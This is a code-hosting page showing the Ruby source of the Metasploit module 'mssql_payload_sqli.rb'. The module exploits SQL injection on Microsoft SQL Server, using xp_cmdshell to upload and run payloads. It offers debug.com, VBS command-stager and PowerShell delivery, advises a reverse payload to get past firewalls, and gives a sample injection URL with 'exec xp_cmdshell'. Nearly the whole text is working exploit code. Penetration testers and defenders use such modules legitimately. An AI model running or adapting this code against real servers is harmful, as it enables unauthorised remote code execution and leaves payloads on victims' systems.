Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mssql/mssql_payload_sqli.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MSSQL_SQLI9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'Microsoft SQL Server Payload Execution via SQL Injection',14'Description' => %q{15This module will execute an arbitrary payload on a Microsoft SQL16Server, using a SQL injection vulnerability.1718Once a vulnerability is identified this module19will use xp_cmdshell to upload and execute Metasploit payloads.20It is necessary to specify the exact point where the SQL injection21vulnerability happens. For example, given the following injection:2223http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical2425you would need to set the following path:26set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar2728In regard to the payload, unless there is a closed port in the web server,29you dont want to use any "bind" payload, specially on port 80, as you will30stop reaching the vulnerable web server host. You want a "reverse" payload, probably to31your port 80 or to any other outbound port allowed on the firewall.32For privileged ports execute Metasploit msfconsole as root.3334Currently, three delivery methods are supported.3536First, the original method uses Windows 'debug.com'. File size restrictions are37avoided by incorporating the debug bypass method presented by SecureStat at38Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.3940A second method takes advantage of the Command Stager subsystem. This allows using41various techniques, such as using a TFTP server, to send the executable. By default42the Command Stager uses 'wcsript.exe' to generate the executable on the target.4344Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the45payload on the target.4647NOTE: This module will leave a payload executable on the target system when the48attack is finished.4950},51'Author' =>52[53'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method54'jduck', # command stager mods55'Rodrigo Marcos' # SQL injection mods56],57'License' => MSF_LICENSE,58'References' =>59[60# 'sa' password in logs61[ 'CVE', '2000-0402' ],62[ 'OSVDB', '557' ],63[ 'BID', '1281' ],6465# blank default 'sa' password66[ 'CVE', '2000-1209' ],67[ 'OSVDB', '15757' ],68[ 'BID', '4797' ],6970# code and comments71[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]7273],74'Platform' => 'win',75'Arch' => [ ARCH_X86, ARCH_X64 ],76'Payload' =>77{78'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",79},80'Targets' =>81[82[ 'Automatic', { } ],83],84'CmdStagerFlavor' => 'vbs',85'DefaultTarget' => 0,86'DisclosureDate' => '2000-05-30'87))88register_options(89[90OptEnum.new('DELIVERY', [true, 'Payload delivery method', 'OLD', ['PS', 'CMD', 'OLD']])91])92end9394# This is method required for the CmdStager to work...95def execute_command(cmd, opts)96mssql_xpcmdshell(cmd, datastore['VERBOSE'])97end9899def exploit100101method = datastore['DELIVERY'].downcase102103if (method =~ /^cmd/)104execute_cmdstager({ :linemax => 1500, :nodelete => true })105#execute_cmdstager({ :linemax => 1500 })106else107# Generate the EXE, this is the same no matter what delivery mechanism we use108exe = generate_payload_exe109110# Use powershell method for payload delivery if specified111if (method =~ /^ps/) or (method =~ /^power/)112powershell_upload_exec(exe)113else114# Otherwise, fall back to the old way..115mssql_upload_exec(exe, datastore['VERBOSE'])116end117end118print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")119select(nil,nil,nil,50)120handler121disconnect122end123124125end126127128